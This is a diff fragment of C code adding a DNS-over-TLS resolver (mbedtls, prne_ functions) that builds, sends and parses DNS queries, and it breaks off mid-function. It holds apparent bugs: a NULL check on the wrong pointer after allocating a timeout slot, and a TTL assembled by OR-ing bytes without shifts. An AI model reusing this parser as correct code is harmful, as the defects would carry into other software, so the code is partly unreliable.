+ prne_wkr_pollfd_slot_pt sck_pfd_slot[2];
+ int act_dns_fd;
+ resolv_dnssrv_pool_t dnssrv_4, dnssrv_6;
+ resolv_ctx_state_t ctx_state;
+ resolv_wkr_state_t wkr_state;
+ uint8_t write_buf[514];
+ uint8_t read_buf[514];
+ prne_llist_t qlist;
+ prne_imap_t qid_map; // uint16_t:q_ent(could be null)
+ struct {
+ mbedtls_ssl_config conf;
+ mbedtls_ssl_context ctx;
+ mbedtls_ctr_drbg_context *ctr_drbg;
+ } ssl;
+};
+
+#define DECL_CTX_PTR(p) prne_resolv_wkr_ctx_t ctx = (prne_resolv_wkr_ctx_t)p
+
+static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s
+static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100000000 }; // 100ms
+static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s
+static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s
+static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s
+static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s
+static const size_t RESOLV_PIPELINE_SIZE = 4;
+
+static bool resolv_wkr_has_finalised (void *p) {
+ DECL_CTX_PTR(p);
+ return ctx->wkr_state == RESOLV_WKR_STATE_FINALISED;
+}
+
+static int resolv_set_cmn_fd_opt (const int fd) {
+ return fcntl(fd, F_SETFL, O_NONBLOCK) == 0 ? fcntl(fd, F_SETFD, FD_CLOEXEC) : -1;
+}
+
+static void resolv_free_q_ent (query_entry_t *q_ent) {
+ if (q_ent == NULL) {
+ return;
+ }
+
+ prne_free(q_ent->qname);
+ prne_free_resolv_fut(&q_ent->fut);
+ prne_close(q_ent->evtfd[0]);
+ prne_close(q_ent->evtfd[1]);
+ prne_free_wkr_timeout_slot(q_ent->to_slot);
+
+ prne_free(q_ent);
+}
+
+static bool resolv_gen_qname (const char *name, char **out, size_t *out_size) {
+ size_t len = strlen(name);
+ char *ptr = (char*)name, *delim;
+ char *end = ptr + len;
+ size_t label_size;
+ char *ret_ptr;
+ size_t ret_size;
+
+ if (len == 0) {
+ errno = EINVAL;
+ return false;
+ }
+ if (name[len - 1] != '.') {
+ len += 1;
+ }
+ if (len > 255) {
+ errno = EINVAL;
+ return false;
+ }
+ for (; *name != 0; name += 1) {
+ if (((uint_fast8_t)*name & 0xC0) == 0xC0) {
+ errno = EINVAL;
+ return false;
+ }
+ }
+
+ ret_ptr = (char*)prne_malloc(1, len + 1);
+ if (ret_ptr == NULL) {
+ return false;
+ }
+
+ ret_size = 0;
+ while (ptr < end) {
+ delim = strchr(ptr, '.');
+ if (delim == NULL) {
+ delim = strchr(ptr, 0);
+ }
+
+ label_size = delim - ptr;
+ if (label_size == 0 || label_size > 63) {
+ errno = EINVAL;
+ goto ERR;
+ }
+
+ ret_ptr[ret_size] = (uint8_t)label_size;
+ memcpy(ret_ptr + ret_size + 1, ptr, label_size);
+ ret_size += 1 + label_size;
+ ptr = delim + 1;
+ }
+ ret_ptr[ret_size] = 0;
+ ret_size += 1;
+
+ *out = prne_realloc(ret_ptr, 1, ret_size);
+ if (*out == NULL) {
+ *out = ret_ptr;
+ }
+ *out_size = ret_size;
+
+ return true;
+ERR:
+ prne_free(ret_ptr);
+ return false;
+}
+
+char *resolv_qname_tostr (const char *qname) {
+ char *ret, *p, *end;
+ const size_t qname_size = strlen(qname) + 1;
+ size_t label_len;
+
+ ret = p = (char*)prne_malloc(1, qname_size);
+ if (p == NULL) {
+ return NULL;
+ }
+ memcpy(p, qname, qname_size);
+ end = p + qname_size;
+
+ while (p < end) {
+ label_len = *p;
+ if (label_len == 0) {
+ break;
+ }
+ else if (p + label_len > end) {
+ goto ERR;
+ }
+
+ memmove(p, p + 1, label_len);
+ p[label_len] = '.';
+ p += label_len + 1;
+ }
+
+ return ret;
+ERR:
+ prne_free(ret);
+ return NULL;
+}
+
+static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout, query_entry_t **ny_q_ent) {
+ query_entry_t *q_ent = NULL;
+
+ if (resolv_wkr_has_finalised(wkr)) {
+ errno = ECANCELED;
+ return false;
+ }
+
+ q_ent = (query_entry_t*)prne_malloc(sizeof(query_entry_t), 1);
+ if (q_ent == NULL) {
+ goto ERR;
+ }
+ q_ent->wkr = wkr;
+ q_ent->qlist_ent = NULL;
+ q_ent->qname = NULL;
+ q_ent->qname_size = 0;
+ q_ent->evtfd[0] = q_ent->evtfd[1] = -1;
+ q_ent->to_slot = NULL;
+ q_ent->qid = 0;
+ q_ent->ipv = PRNE_IPV_NONE;
+ prne_init_resolv_fut(&q_ent->fut);
+
+ if (!resolv_gen_qname(name, &q_ent->qname, &q_ent->qname_size)) {
+ goto ERR;
+ }
+
+ q_ent->qlist_ent = prne_llist_append(&wkr->qlist, q_ent);
+ if (q_ent->qlist_ent == NULL) {
+ goto ERR;
+ }
+
+ OK_OR_ERR(pipe(q_ent->evtfd));
+ prne_set_pipe_size(q_ent->evtfd[0], 1);
+ OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[0]));
+ OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[1]));
+
+ if (write(wkr->evtfd[1], &q_ent, 1) < 0) {
+ prne_die_not_nonblock_err();
+ }
+
+ q_ent->to_slot = prne_alloc_wkr_timeout_slot(wkr->wsr);
+ if (q_ent == NULL) {
+ goto ERR;
+ }
+ q_ent->to_slot->active = true;
+ q_ent->to_slot->dur = RESOLV_QUERY_TIMEOUT;
+
+ out->ctx = q_ent;
+ out->fut = &q_ent->fut;
+ out->evtfd = q_ent->evtfd[0];
+ *ny_q_ent = q_ent;
+
+ return true;
+ERR:
+ if (q_ent != NULL) {
+ prne_llist_erase(&wkr->qlist, q_ent->qlist_ent);
+ prne_free(q_ent->qname);
+ prne_close(q_ent->evtfd[0]);
+ prne_close(q_ent->evtfd[1]);
+
+ prne_free(q_ent);
+ }
+
+ return false;
+}
+
+static void resolv_disown_qent (query_entry_t *qent) {
+ uint8_t rubbish = 0;
+
+ prne_free_wkr_timeout_slot(qent->to_slot);
+ qent->to_slot = NULL;
+ qent->wkr = NULL;
+ qent->qlist_ent = NULL;
+ qent->qid = 0;
+
+ if (write(qent->evtfd[1], &rubbish, 1) < 0) {
+ prne_die_not_nonblock_err();
+ }
+}
+
+#if 0
+static void resolv_disown_all_qent (prne_resolv_wkr_ctx_t ctx) {
+ query_entry_t *qent;
+ prne_llist_entry_t *cur;
+ size_t i;
+
+ cur = ctx->qlist.head;
+ while (cur != NULL) {
+ qent = (query_entry_t*)cur->element;
+ qent->fut.qr = PRNE_RESOLV_QR_FIN;
+ resolv_disown_qent(qent);
+ cur = cur->next;
+ }
+
+ for (i = 0; i < ctx->qid_map.size; i += 1) {
+ qent = (query_entry_t*)ctx->qid_map.tbl[i].val;
+ qent->fut.qr = PRNE_RESOLV_QR_FIN;
+ resolv_disown_qent(qent);
+ }
+
+ prne_llist_clear(&ctx->qlist);
+ prne_imap_clear(&ctx->qid_map);
+}
+#endif
+
+static size_t resolv_next_pool_ptr (prne_resolv_wkr_ctx_t ctx, const size_t cnt) {
+ size_t ret = 0;
+
+ if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) != 0) {
+ getrandom(&ret, sizeof(size_t), 0);
+ }
+ return ret % cnt;
+}
+
+static uint16_t resolv_next_qid (prne_resolv_wkr_ctx_t ctx) {
+ uint16_t i, ret;
+
+ for (i = 0; i < UINT16_MAX; i += 1) {
+ if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) != 0) {
+ getrandom(&ret, sizeof(uint16_t), 0);
+ }
+ ret = (ret % UINT16_MAX) + 1;
+ if (prne_imap_lookup(&ctx->qid_map, ret) == NULL) {
+ return ret;
+ }
+ }
+
+ return 0;
+}
+
+static void resolv_close_sck (prne_resolv_wkr_ctx_t ctx, const struct timespec *pause, bool change_srvr) {
+ size_t i;
+ query_entry_t *qent;
+ prne_llist_entry_t *lent;
+
+ // ctx->qid_map -> ctx->qlist
+ for (i = 0; i < ctx->qid_map.size; i += 1) {
+ qent = (query_entry_t*)ctx->qid_map.tbl[i].val;
+ if (qent == NULL) {
+ continue;
+ }
+
+ lent = prne_llist_append(&ctx->qlist, qent);
+ if (lent == NULL) {
+ qent->fut.qr = PRNE_RESOLV_QR_ERR;
+ qent->fut.err = errno;
+ resolv_disown_qent(qent);
+ }
+ else {
+ qent->qid = 0;
+ qent->qlist_ent = lent;
+ }
+ }
+ prne_imap_clear(&ctx->qid_map);
+
+ prne_shutdown(ctx->dnss_fd[0], SHUT_RDWR);
+ prne_shutdown(ctx->dnss_fd[1], SHUT_RDWR);
+ prne_shutdown(ctx->act_dns_fd, SHUT_RDWR);
+ prne_close(ctx->dnss_fd[0]);
+ prne_close(ctx->dnss_fd[1]);
+ prne_close(ctx->act_dns_fd);
+ ctx->dnss_fd[0] = ctx->dnss_fd[1] = ctx->act_dns_fd = -1;
+ ctx->read_cnt_len = 0;
+ ctx->write_cnt_len = 0;
+ ctx->sckop_to_slot->active = false;
+ ctx->sck_pfd_slot[0]->pfd.fd = ctx->sck_pfd_slot[1]->pfd.fd = -1;
+ ctx->ctx_state = RESOLV_CTX_STATE_NONE;
+ mbedtls_ssl_free(&ctx->ssl.ctx);
+ mbedtls_ssl_init(&ctx->ssl.ctx);
+
+ if (pause != NULL) {
+ ctx->err_to_slot->active = true;
+ ctx->err_to_slot->dur = *pause;
+ }
+ if (change_srvr) {
+ ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt);
+ ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt);
+ }
+}
+
+static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) {
+ size_t i;
+
+ switch (ctx->ctx_state) {
+ case RESOLV_CTX_STATE_NONE: {
+ int optval = 1;
+
+ ctx->dnss_fd[0] = socket(AF_INET6, SOCK_STREAM, 0);
+ ctx->dnss_fd[1] = socket(AF_INET, SOCK_STREAM, 0);
+ if (ctx->dnss_fd[0] >= 0) {
+ setsockopt(ctx->dnss_fd[0], SOL_TCP, TCP_NODELAY, &optval, sizeof(int));
+ if (resolv_set_cmn_fd_opt(ctx->dnss_fd[0]) < 0) {
+ prne_close(ctx->dnss_fd[0]);
+ ctx->dnss_fd[0] = -1;
+ }
+ else {
+ struct sockaddr_in6 addr;
+
+ memset(&addr, 0, sizeof(addr));
+ prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->dnssrv_6.ptr, &addr);
+ connect(ctx->dnss_fd[0], (const struct sockaddr*)&addr, sizeof(addr));
+ }
+ }
+ if (ctx->dnss_fd[1] >= 0) {
+ setsockopt(ctx->dnss_fd[1], SOL_TCP, TCP_NODELAY, &optval, sizeof(int));
+ if (resolv_set_cmn_fd_opt(ctx->dnss_fd[1]) < 0) {
+ prne_close(ctx->dnss_fd[1]);
+ ctx->dnss_fd[1] = -1;
+ }
+ else {
+ struct sockaddr_in addr;
+
+ memset(&addr, 0, sizeof(addr));
+ prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->dnssrv_4.ptr, &addr);
+ connect(ctx->dnss_fd[1], (const struct sockaddr*)&addr, sizeof(addr));
+ }
+ }
+
+ if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) {
+ ctx->err_to_slot->active = true;
+ ctx->err_to_slot->dur = RESOLV_RSRC_ERR_PAUSE;
+ ctx->sckop_to_slot->active = false;
+ }
+ else {
+ ctx->sckop_to_slot->active = true;
+ ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT;
+ for (i = 0; i < 2; i += 1) {
+ ctx->sck_pfd_slot[i]->pfd.fd = ctx->dnss_fd[i];
+ ctx->sck_pfd_slot[i]->pfd.events = POLLIN | POLLOUT;
+ }
+
+ ctx->ctx_state = RESOLV_CTX_STATE_CONN;
+ }
+
+ return false;
+ }
+ case RESOLV_CTX_STATE_CONN: {
+ int optval;
+ socklen_t optval_len;
+
+ for (i = 0; i < 2; i += 1) {
+ assert(ctx->sck_pfd_slot[i]->pfd.fd == ctx->dnss_fd[i]);
+ if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLHUP | POLLERR | POLLNVAL)) {
+ prne_close(ctx->dnss_fd[i]);
+ ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1;
+ }
+ }
+ if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) {
+ ctx->err_to_slot->active = true;
+ ctx->err_to_slot->dur = RESOLV_CONN_ERR_PAUSE;
+ ctx->sckop_to_slot->active = false;
+ ctx->ctx_state = RESOLV_CTX_STATE_NONE;
+
+ return false;
+ }
+
+ for (i = 0; i < 2; i += 1) {
+ if (ctx->sck_pfd_slot[i]->pfd.fd < 0) {
+ continue;
+ }
+
+ if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLIN | POLLOUT)) {
+ optval_len = sizeof(optval);
+ if (getsockopt(ctx->sck_pfd_slot[i]->pfd.fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) {
+ prne_close(ctx->dnss_fd[i]);
+ ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1;
+ }
+ else {
+ ctx->act_dns_fd = ctx->dnss_fd[i];
+ ctx->dnss_fd[i] = -1;
+ break;
+ }
+ }
+ }
+
+ if (ctx->act_dns_fd >= 0) {
+ for (i = 0; i < 2; i += 1) {
+ prne_close(ctx->dnss_fd[i]);
+ ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1;
+ }
+
+ if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) {
+ resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, false);
+ return false;
+ }
+ mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_dns_fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL);
+
+ ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd;
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
+ ctx->sckop_to_slot->active = true;
+ ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT;
+ ctx->ctx_state = RESOLV_CTX_STATE_HNDSHK;
+ }
+ else if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ }
+
+ return false;
+ }
+ case RESOLV_CTX_STATE_HNDSHK: {
+ assert(ctx->sck_pfd_slot[0]->pfd.fd == ctx->act_dns_fd && ctx->act_dns_fd >= 0);
+
+ if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+
+ return false;
+ }
+ if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLIN | POLLOUT)) {
+ switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) {
+ case MBEDTLS_ERR_SSL_WANT_READ:
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
+ break;
+ case MBEDTLS_ERR_SSL_WANT_WRITE:
+ ctx->sck_pfd_slot[0]->pfd.events = POLLOUT;
+ break;
+ case 0:
+ ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
+ ctx->sckop_to_slot->active = true;
+ ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT;
+ ctx->ctx_state = RESOLV_CTX_STATE_READY;
+
+ return true;
+ default:
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+
+ return false;
+ }
+ }
+
+ return false;
+ }
+ case RESOLV_CTX_STATE_READY:
+ return true;
+ }
+
+#ifdef PRNE_DEBUG
+ abort();
+#endif
+ return false;
+}
+
+static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p) {
+ uint16_t ptr;
+ const prne_imap_tuple_t *tpl;
+
+ if (p >= end) {
+ return NULL;
+ }
+
+ while (*p != 0 && p < end) {
+ if ((p[0] & 0xC0) == 0xC0) {
+ // met pointer. don't go further.
+ ptr = ((uint16_t)p[0] << 8) | (uint16_t)p[1];
+ tpl = prne_imap_lookup(map, ptr);
+ if (tpl == NULL) {
+ return NULL;
+ }
+ return p + 2;
+ }
+ else if (*p > 63) {
+ return NULL;
+ }
+ else {
+ // index the label
+ ptr = (uint16_t)(p - start) | 0xC000;
+ prne_imap_insert(map, ptr, (void*)p);
+ p += *p + 1;
+ }
+ }
+
+ return p + 1;
+}
+
+static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *p_msg, const char *name) {
+ uint16_t ptr;
+ const prne_imap_tuple_t *tpl;
+ int ret;
+
+ do {
+ if ((p_msg[0] & 0xC0) == 0xC0) {
+ // deref the pointer
+ ptr = ((uint16_t)p_msg[0] << 8) | (uint16_t)p_msg[1];
+ tpl = prne_imap_lookup(map, ptr);
+ if (tpl == NULL) {
+ ret = -1;
+ break;
+ }
+ p_msg = (const uint8_t*)tpl->val;
+ }
+ else {
+ if (*p_msg != *name) {
+ ret = 0;
+ break;
+ }
+ if (*p_msg == 0 || *name == 0) {
+ ret = 1;
+ break;
+ }
+ p_msg += 1;
+ name += 1;
+ }
+ } while (true);
+
+ return ret;
+}
+
+static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, const size_t len, bool *err_flag) {
+ typedef struct {
+ const void *p;
+ size_t len;
+ uint32_t ttl;
+ } data_tuple_t;
+ data_tuple_t *tpl;
+ prne_resolv_qr_t qr;
+ int err = 0, cmp_ret;
+ const char *qname;
+ uint_fast16_t qid, status, ancount, rtype, rclass, rdlen, ttype;
+ uint_fast32_t ttl;
+ prne_imap_t ptr_map; // val in msg(uint8_t):(uint8_t*)real addr
+ prne_llist_t data_list;
+ query_entry_t *qent;
+ const uint8_t *end = data + len, *p, *p_name;
+ size_t i;
+ bool ret;
+
+ if (len < 12) {
+ *err_flag = true;
+ return false;
+ }
+ *err_flag = false;
+
+ qr = PRNE_RESOLV_QR_NONE;
+ status = 0;
+ ttype = 0;
+ prne_init_imap(&ptr_map);
+ prne_init_llist(&data_list);
+
+ // ID
+ {
+ const prne_imap_tuple_t *tpl;
+
+ qid = ((uint16_t)data[0] << 8) | (uint16_t)data[1];
+ tpl = prne_imap_lookup(&ctx->qid_map, qid);
+ ret = tpl != NULL;
+ if (ret) {
+ qent = (query_entry_t*)tpl->val;
+ if (qent != NULL) {
+ switch (qent->type) {
+ case PRNE_RESOLV_QT_A: ttype = 1; break;
+ case PRNE_RESOLV_QT_AAAA: ttype = 28; break;
+ case PRNE_RESOLV_QT_TXT: ttype = 16; break;
+ default: abort();
+ }
+ }
+ }
+ else {
+ qent = NULL;
+ }
+ prne_imap_erase(&ctx->qid_map, qid);
+ }
+ // QR
+ if ((data[2] & 0x80) == 0) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ // Opcode
+ if ((data[2] & 0x78) != 0) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ // AA - don't care
+ // RCODE
+ status = data[3] & 0x0F;
+ if (status != 0) {
+ qr = PRNE_RESOLV_QR_STATUS;
+ goto END;
+ }
+ // TC
+ if ((data[2] & 0x02) != 0) {
+ qr = PRNE_RESOLV_QR_IMPL;
+ goto END;
+ }
+ // QDCOUNT
+ if ((((uint_fast16_t)data[4] << 8) | (uint_fast16_t)data[5]) != 1) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ // ANCOUNT
+ ancount = ((uint_fast16_t)data[6] << 8) | (uint_fast16_t)data[7];
+
+ // decode question
+ if (len < 12 + 1 + 4) { // min msg with 1 QDCOUNT length
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ qname = (const char *)data + 12;
+ p = resolv_index_labels(&ptr_map, data, end, (const uint8_t*)qname);
+ if (p == NULL) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ if ((size_t)(p - data + 4) > len) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ if (qent != NULL && strcmp(qname, qent->qname) != 0) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1];
+ rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3];
+ if (rclass != 1) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ if (ttype != 0 && ttype != rtype) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+
+ p += 4;
+ // decode answer RRs
+ for (i = 0; i < ancount; i += 1) {
+ p_name = p;
+ p = resolv_index_labels(&ptr_map, data, end, p);
+ if (p == NULL || p >= end || end - p < 10) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1];
+ rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3];
+ ttl = ((uint_fast32_t)p[4]) | ((uint_fast32_t)p[5]) | ((uint_fast32_t)p[6]) | ((uint_fast32_t)p[7]);
+ rdlen = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9];
+
+ cmp_ret = resolv_mapped_qname_cmp(&ptr_map, p_name, qname);
+ if (cmp_ret < 0) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+ if (cmp_ret && ttype != 0 && ttype == rtype && rclass == 1) {
+ if ((qent->type == PRNE_RESOLV_QT_A && rdlen != 4) ||
+ (qent->type == PRNE_RESOLV_QT_AAAA && rdlen != 16) ||
+ (qent->type == PRNE_RESOLV_QT_TXT && rdlen == 0)) {
+ qr = PRNE_RESOLV_QR_PRO_ERR;
+ *err_flag = true;
+ goto END;
+ }
+
+ tpl = (data_tuple_t*)prne_malloc(sizeof(data_tuple_t), 1);
+ if (tpl == NULL || prne_llist_append(&data_list, tpl) == NULL) {
+ prne_free(tpl);
+ qr = PRNE_RESOLV_QR_ERR;
+ err = errno;
+ goto END;
+ }
+ tpl->p = p + 10;
+ tpl->len = rdlen;
+ tpl->ttl = ttl;
+ }
+ p += 10 + rdlen;
+ }
+
+ if (data_list.size > 0 && qent != NULL) {
+ prne_llist_entry_t *cur;
+ data_tuple_t *tpl = NULL;
+
+ qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(sizeof(prne_resolv_rr_t), data_list.size);
+ if (qent->fut.rr == NULL) {
+ qr = PRNE_RESOLV_QR_ERR;
+ err = errno;
+ goto END;
+ }
+ qent->fut.rr_cnt = data_list.size;
+ for (i = 0; i < qent->fut.rr_cnt; i += 1) {
+ prne_init_resolv_rr(qent->fut.rr + i);
+ }
+
+ i = 0;
+ cur = data_list.head;
+ while (cur != NULL) {
+ tpl = (data_tuple_t*)cur->element;
+ qent->fut.rr[i].rr_class = 1;
+ qent->fut.rr[i].rr_type = ttype;
+ qent->fut.rr[i].rr_ttl = tpl->ttl;
+ if (tpl->len > 0) {
+ qent->fut.rr[i].name = resolv_qname_tostr(qent->qname);
+ assert(qent->fut.rr[i].name != NULL);
+ qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(1, tpl->len);
+ if (qent->fut.rr[i].rd_data == NULL) {
+ qr = PRNE_RESOLV_QR_ERR;
+ err = errno;
+ goto END;
+ }
+ qent->fut.rr[i].rd_len = tpl->len;
+ memcpy(qent->fut.rr[i].rd_data, tpl->p, tpl->len);
+ }
+ else {
+ qent->fut.rr[i].rd_data = NULL;
+ qent->fut.rr[i].rd_len = 0;
+ }
+
+ i += 1;
+ cur = cur->next;
+ }
+ }
+
+ qr = PRNE_RESOLV_QR_OK;
+
+END:
+ if (data_list.size > 0) {
+ prne_llist_entry_t *cur;
+
+ cur = data_list.head;
+ while (cur != NULL) {
+ prne_free(cur->element);
+ cur = cur->next;
+ }
+ }
+ prne_free_llist(&data_list);
+ prne_free_imap(&ptr_map);
+ if (qent != NULL) {
+ if (qr != PRNE_RESOLV_QR_OK) {
+ for (i = 0; i < qent->fut.rr_cnt; i += 1) {
+ prne_free_resolv_rr(qent->fut.rr + i);
+ }
+ prne_free(qent->fut.rr);
+ qent->fut.rr = NULL;
+ qent->fut.rr_cnt = 0;
+ }
+ qent->fut.qr = qr;
+ qent->fut.err = err;
+ qent->fut.status = status;
+ resolv_disown_qent(qent);
+ }
+
+ return ret;
+}
+
+static size_t resolv_calc_dot_msg_len (query_entry_t *qent) {
+ return 2/*DoT head*/ + 12/*msg head*/ + qent->qname_size + 4/*QCLASS, QTYPE*/;
+}
+
+static void resolv_write_dns_msg (query_entry_t *qent, uint8_t *mem) {
+ // ID
+ mem[0] = (uint8_t)((qent->qid & 0xFF00) >> 8);
+ mem[1] = (uint8_t)(qent->qid & 0x00FF);
+ // QR: 0, Opcode: 0, AA:0, TC: 0, RD: 1, RA: 0, Z: 0, RCODE: 0
+ mem[2] = 0x01;
+ mem[3] = 0x00;
+ // QDCOUNT: 1
+ mem[4] = 0x00;
+ mem[5] = 0x01;
+ // ANCOUNT, NSCOUNT, ARCOUNT: 0
+ mem[6] = mem[7] = mem[8] = mem[9] = mem[10] = mem[11] = 0x00;
+
+ // QNAME
+ memcpy(mem + 12, qent->qname, qent->qname_size);
+ // QTYPE
+ switch (qent->type) {
+ case PRNE_RESOLV_QT_A:
+ mem[qent->qname_size + 12] = 0x00;
+ mem[qent->qname_size + 13] = 0x01;
+ break;
+ case PRNE_RESOLV_QT_AAAA:
+ mem[qent->qname_size + 12] = 0x00;
+ mem[qent->qname_size + 13] = 0x1C;
+ break;
+ case PRNE_RESOLV_QT_TXT:
+ mem[qent->qname_size + 12] = 0x00;
+ mem[qent->qname_size + 13] = 0x10;
+ break;
+ default: abort();
+ }
+ // QCLASS: IN
+ mem[qent->qname_size + 14] = 0x00;
+ mem[qent->qname_size + 15] = 0x01;
+}
+
+static bool resolv_send_dns_msgs (prne_resolv_wkr_ctx_t ctx) {
+ prne_llist_entry_t *cur;
+ query_entry_t *qent;
+ size_t dot_msg_len, dns_msg_len;
+ uint16_t qid;
+ bool ret = false;
+
+ cur = ctx->qlist.head;
+ while (cur != NULL && ctx->qid_map.size < RESOLV_PIPELINE_SIZE) {
+ qent = (query_entry_t*)cur->element;
+
+ dot_msg_len = resolv_calc_dot_msg_len(qent);
+ dns_msg_len = dot_msg_len - 2;
+ if (dot_msg_len + ctx->write_cnt_len <= sizeof(ctx->write_buf)) {
+ qid = resolv_next_qid(ctx);
+ if (qid == 0) {
+ qent->fut.qr = PRNE_RESOLV_QR_ERR;
+ qent->fut.err = 0;
+ prne_llist_erase(&ctx->qlist, qent->qlist_ent);
+ resolv_disown_qent(qent);
+
+ return ret;
+ }
+
+ if (prne_imap_insert(&ctx->qid_map, qid, qent) == NULL) {
+ qent->fut.err = errno;
+ qent->fut.qr = PRNE_RESOLV_QR_ERR;
+ prne_llist_erase(&ctx->qlist, cur);
+ resolv_disown_qent(qent);
+
+ return ret;
+ }
+ else {
+ cur = prne_llist_erase(&ctx->qlist, cur);
+
+ ctx->write_buf[ctx->write_cnt_len + 0] = (uint8_t)((dns_msg_len & 0xFF00) >> 8);
+ ctx->write_buf[ctx->write_cnt_len + 1] = (uint8_t)(dns_msg_len & 0x00FF);
+ qent->qid = qid;
+ resolv_write_dns_msg(qent, ctx->write_buf + ctx->write_cnt_len + 2);
+
+ ctx->write_cnt_len += dot_msg_len;
+ ret |= true;
+ }
+ }
+ else {
+ break;
+ }
+ }
+
+ return ret;
+}
+
+static void resolv_proc_q (prne_resolv_wkr_ctx_t ctx) {
+ bool proc = false; // true if any meaningful message has been processed.
+ int ret;
+
+ if (ctx->ctx_state == RESOLV_CTX_STATE_READY) {
+ assert(ctx->act_dns_fd >= 0);
+ assert(ctx->act_dns_fd == ctx->sck_pfd_slot[0]->pfd.fd);
+
+ if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return;
+ }
+ if (ctx->sck_pfd_slot[0]->pfd.revents & POLLIN) {
+ size_t pos, msg_len;
+ bool err_flag = false;
+
+ ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len);
+ if (ret <= 0) {
+ // we don't renegotiate with terrorists.
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return;
+ }
+ ctx->read_cnt_len += (size_t)ret;
+
+ pos = 0;
+ while (true) {
+ if (pos + 1 >= ctx->read_cnt_len) {
+ break;
+ }
+ msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1];
+ if (msg_len > 512) { // unimplemented.
+#ifdef PRNE_DEBUG
